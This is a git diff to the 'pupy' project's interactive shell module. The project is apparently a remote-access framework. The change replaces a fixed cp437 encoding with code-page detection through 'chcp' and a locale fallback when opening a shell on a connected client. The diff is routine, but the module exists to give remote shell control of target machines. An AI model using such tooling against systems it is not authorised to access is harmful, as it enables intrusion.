diff --git a/pupy/modules/interactive_shell.py b/pupy/modules/interactive_shell.py index 3a5ea33c..e70a1e09 100644 --- a/pupy/modules/interactive_shell.py +++ b/pupy/modules/interactive_shell.py @@ -54,11 +54,10 @@ class InteractiveShell(PupyModule): program="/system/bin/sh" elif self.client.is_windows(): program="cmd.exe" - encoding="cp437" if args.program: program=args.program with redirected_stdio(self.client.conn): - self.client.conn.modules.interactive_shell.interactive_open(program=program, encoding=encoding) + self.client.conn.modules.interactive_shell.interactive_open(program=program) else: #handling tty self.client.load_package("ptyshell") self.ps=self.client.conn.modules['ptyshell'].PtyShell() diff --git a/pupy/packages/all/interactive_shell.py b/pupy/packages/all/interactive_shell.py index acaf16a5..7e73479b 100644 --- a/pupy/packages/all/interactive_shell.py +++ b/pupy/packages/all/interactive_shell.py @@ -7,6 +7,8 @@ from threading import Thread from Queue import Queue, Empty import time import traceback +import locale +import re import rpyc import os @@ -48,17 +50,23 @@ def flush_loop(queue, encoding): def interactive_open(program=None, encoding=None): try: - if program is None: + if program is None or program=="cmd.exe": if "win" in sys.platform.lower(): program="cmd.exe" - encoding="cp437" + try: + #couldn't find a better way, none of the following methods worked for me : kernel32.SetConsoleOutputCP(), locale.getpreferredencoding(), sys.stdout.encoding + encoding="cp"+str(re.findall(r".*:\s*([0-9]+)",subprocess.check_output("chcp", shell=True))[0]) + except: + pass else: if "SHELL" in os.environ: program=os.environ["SHELL"] else: program="/bin/sh" encoding=None - print "Opening interactive %s ... (encoding : %s)"%(program,encoding) + if encoding is None: + encoding=locale.getpreferredencoding() + print "Opening interactive %s (with encoding %s)..."%(program,encoding) if sys.platform=="win32": startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW